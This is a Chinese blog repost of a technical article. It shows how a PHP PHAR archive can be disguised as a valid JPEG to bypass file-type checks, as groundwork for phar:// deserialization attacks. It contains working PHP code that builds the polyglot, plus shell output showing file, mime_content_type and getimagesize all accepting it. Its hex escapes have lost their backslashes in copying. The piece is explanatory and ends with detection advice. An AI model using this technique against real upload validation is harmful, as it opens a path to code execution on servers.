我是靠谱客的博主 健康火车,最近开发中收集的这篇文章主要介绍php伪装文件名_攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)...,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。

在本文中,我们来看看第二点是如何做到的。

背景知识

在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片)。

在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,PHP也会对其内容进行反序列化处理。

此外,攻击者完全可以将PHAR包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。

降至字节码级别

有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。

在Thomas的演讲中,曾提示如何创建具有有效JPEG头部的PHAR包。

32769cc6f78875d63e4ed299b8c79462.png

图片引自Sam Thomas的幻灯片

不过,这里我们要做的是创建一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续执行它。

开始下手

听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?

然而,事实并非如此。

计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?

所以,我对Thomas的原始剧本进行了一番改造,具体如下所示:

class TestObject {}

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->addFromString("test.txt","test");

$phar->setStub("xFFxD8xFFxFEx13xFAx78x74 __HALT_COMPILER(); ?>");

$o = new TestObject();

$phar->setMetadata($o);

$phar->stopBuffering();

如您所见,这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg

00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_

00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..

00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............

00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test

00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....

00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[

00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........

00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.

00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg

phar.jpeg: JPEG image data

tampe125@AlphaCentauri:~$ php -a

php > var_dump(mime_content_type('phar.jpeg'));

php shell code:1:

string(10) "image/jpeg"

php > var_dump(file_exists('phar://phar.jpeg/test.txt'));

php shell code:1:

bool(true)

看到了吧,PHP将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!

注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数 __HALT_COMPILER() ; 我认为,PHP会通过它来确定出应该“跳过”多少数据。

更进一步

到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:

tampe125@AlphaCentauri:~$ php -a

php > var_dump(getimagesize('phar.jpeg'));

php shell code:1:

bool(false)

看到了吧。

但是,别忘了,我们可以在 __HALT_COMPILER() 标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读 JPEG规范和 PHP源代码 ,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。

那么,能否直接使用GIMP创建10x10黑色图像并嵌入其中呢?

class TestObject {}

$jpeg_header_size =

"xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13".

"x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02".

"x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15".

"x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14".

"x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01".

"xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03".

"x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11".

"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20".

"xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda".

"x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->addFromString("test.txt","test");

$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

$o = new TestObject();

$phar->setMetadata($o);

$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg

phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3

tampe125@AlphaCentauri:~$ php -a

php > var_dump(mime_content_type('phar.jpeg'));

php shell code:1:

string(10) "image/jpeg"

php > var_dump(file_exists('phar://phar.jpeg/test.txt'));

php shell code:1:

bool(true)

php > var_dump(getimagesize('phar.jpeg'));

php shell code:1:

array(7) {

[0] =>

int(10)

[1] =>

int(10)

[2] =>

int(2)

[3] =>

string(22) "width="10" height="10""

'bits' =>

int(8)

'channels' =>

int(3)

'mime' =>

string(10) "image/jpeg"

}

这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):

36637c436b7ea5305d56eb80a868259c.png

小结

正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。

最后

以上就是健康火车为你收集整理的php伪装文件名_攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)...的全部内容,希望文章能够帮你解决php伪装文件名_攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)...所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(59)

评论列表共有 0 条评论

立即
投稿
返回
顶部